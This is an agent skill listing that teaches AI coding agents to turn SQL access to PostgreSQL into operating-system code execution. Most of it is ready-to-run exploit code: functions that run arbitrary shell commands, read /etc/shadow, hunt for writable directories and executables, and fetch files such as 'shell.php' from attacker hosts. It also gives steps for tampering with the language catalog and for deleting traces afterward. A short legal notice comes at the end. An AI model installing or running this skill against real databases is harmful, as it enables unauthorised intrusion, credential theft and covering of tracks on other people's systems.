# Postgresql Language Injection

> Exploit PostgreSQL scripting languages (plpythonu, plperlu, plrubyu, etc.) to achieve remote code execution from a compromised database. Use this skill whenever you have SQL access to a PostgreSQL database and want to enumerate available languages, trust untrusted languages, or execute arbitrary commands on the underlying OS. Trigger this for any PostgreSQL exploitation, database-to-OS privilege escalation, or when you need to run system commands through SQL.

- Skill: `abelrguezr/postgresql-language-injection` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/postgresql-language-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/postgresql-language-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/postgresql-language-injection

---


# PostgreSQL Language Injection for RCE

When you have SQL access to a PostgreSQL database, you can exploit installed scripting languages to execute arbitrary code on the underlying operating system. This is a powerful post-exploitation technique.

## Step 1: Enumerate Available Languages

First, check what scripting languages are installed in the PostgreSQL instance:

```sql
-- List all installed languages
\dL *

-- Or query the system catalog
SELECT lanname, lanpltrusted, lanacl FROM pg_language;
```

**What to look for:**
- Languages ending in `u` are **untrusted** versions (e.g., `plpythonu`, `plpython3u`, `plperlu`, `plrubyu`, `pljavaU`)
- The `lanpltrusted` column shows if PostgreSQL trusts the language (`true` = restricted, `false` = can execute code)
- Untrusted languages allow full system access

## Step 2: Trust an Untrusted Language (If Needed)

If you find an interesting language but it's marked as trusted (`lanpltrusted = true`), try to change it:

```sql
-- Check your permissions first
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

-- Trust the language (requires appropriate privileges)
UPDATE pg_language SET lanpltrusted = true WHERE lanname = 'plpythonu';
```

## Step 3: Load Missing Languages (If Superuser)

If a language isn't installed but you have superuser access:

```sql
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION plrubyu;
CREATE EXTENSION pljavaU;
```

## Step 4: Execute Commands via plpythonu

The most common exploitation path is through `plpythonu` (Python). Create functions to execute system commands:

### Remote Code Execution

```sql
CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.popen(cmd).read()
$$
LANGUAGE 'plpythonu';

-- Execute any command
SELECT exec('id');
SELECT exec('whoami');
SELECT exec('cat /etc/passwd');
```

### Get Current OS User

```sql
CREATE OR REPLACE FUNCTION get_user(pkg text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user('');
```

### List Directory Contents

```sql
CREATE OR REPLACE FUNCTION lsdir(dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import json
    from os import walk
    files = next(walk(dir), (None, None, []))
    return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir('/');
SELECT lsdir('/home');
```

### Find Writable Directories

```sql
CREATE OR REPLACE FUNCTION findw(dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        writables = []
        def find_writable(path):
            if not os.path.isdir(path):
                return
            if os.access(path, os.W_OK):
                writables.append(path)
            if not os.listdir(path):
                return
            else:
                for item in os.listdir(path):
                    find_writable(os.path.join(path, item))
        find_writable(path)
        return writables
    return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw('/');
```

### Find Specific Files

```sql
CREATE OR REPLACE FUNCTION find_file(exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path):
                executables.append(path)
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    a = my_find('/')
    b = []
    for i in a:
        if exe_sea in os.path.basename(i):
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file('psql');
SELECT find_file('ssh');
```

### Find Executables in Directory

```sql
CREATE OR REPLACE FUNCTION findx(dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    a = my_find(dir)
    b = []
    for i in a:
        b.append(os.path.basename(i))
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx('/');
```

### Read Files (Base64 Encoded)

```sql
CREATE OR REPLACE FUNCTION read(path text)
RETURNS VARCHAR(65535) stable
AS $$
    import base64
    encoded_string = base64.b64encode(open(path).read().encode())
    return encoded_string.decode('utf-8')
$$
LANGUAGE 'plpythonu';

SELECT read('/etc/passwd');
SELECT read('/etc/shadow');
```

### Get File Permissions

```sql
CREATE OR REPLACE FUNCTION get_perms(path text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    status = os.stat(path)
    perms = oct(status.st_mode)[-3:]
    return str(perms)
$$
LANGUAGE 'plpythonu';

SELECT get_perms('/etc/passwd');
```

### Make HTTP Requests (Python 2)

```sql
CREATE OR REPLACE FUNCTION req2(url text)
RETURNS VARCHAR(65535) stable
AS $$
    import urllib
    r = urllib.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('http://your-server.com/shell.php');
```

### Make HTTP Requests (Python 3)

```sql
CREATE OR REPLACE FUNCTION req3(url text)
RETURNS VARCHAR(65535) stable
AS $$
    from urllib import request
    r = request.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('http://your-server.com/shell.php');
```

## Alternative Languages

### plperlu (Perl)

```sql
CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS text
AS $$
    my $result = `$_[0]`;
    return $result;
$$
LANGUAGE 'plperlu';

SELECT exec('id');
```

### plrubyu (Ruby)

```sql
CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS text
AS $$
    return `$_[0]`;
$$
LANGUAGE 'plrubyu';

SELECT exec('id');
```

## Important Notes

1. **Function size limit**: PostgreSQL functions return VARCHAR(65535) max. For large outputs, use base64 encoding or chunk the data.

2. **Persistence**: Functions created in the database persist until dropped. Clean up after yourself:
   ```sql
   DROP FUNCTION exec(text);
   DROP FUNCTION lsdir(text);
   ```

3. **Error handling**: If a function fails, check PostgreSQL logs or wrap in error handling.

4. **Privileges**: You need CREATE FUNCTION privileges. If you don't have them, you may need to escalate first.

5. **Language availability**: Not all PostgreSQL installations have untrusted languages enabled. Always enumerate first.

## Quick Reference

| Goal | Function | Example |
|------|----------|--------|
| Execute command | `exec()` | `SELECT exec('id');` |
| List directory | `lsdir()` | `SELECT lsdir('/');` |
| Find writable dirs | `findw()` | `SELECT findw('/');` |
| Find file | `find_file()` | `SELECT find_file('ssh');` |
| Read file | `read()` | `SELECT read('/etc/passwd');` |
| HTTP request | `req3()` | `SELECT req3('http://evil.com');` |

## Cleanup

After exploitation, remove your functions to avoid leaving traces:

```sql
DROP FUNCTION IF EXISTS exec(text);
DROP FUNCTION IF EXISTS get_user(text);
DROP FUNCTION IF EXISTS lsdir(text);
DROP FUNCTION IF EXISTS findw(text);
DROP FUNCTION IF EXISTS find_file(text);
DROP FUNCTION IF EXISTS findx(text);
DROP FUNCTION IF EXISTS read(text);
DROP FUNCTION IF EXISTS get_perms(text);
DROP FUNCTION IF EXISTS req2(text);
DROP FUNCTION IF EXISTS req3(text);
```

---

**⚠️ Legal Notice**: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.

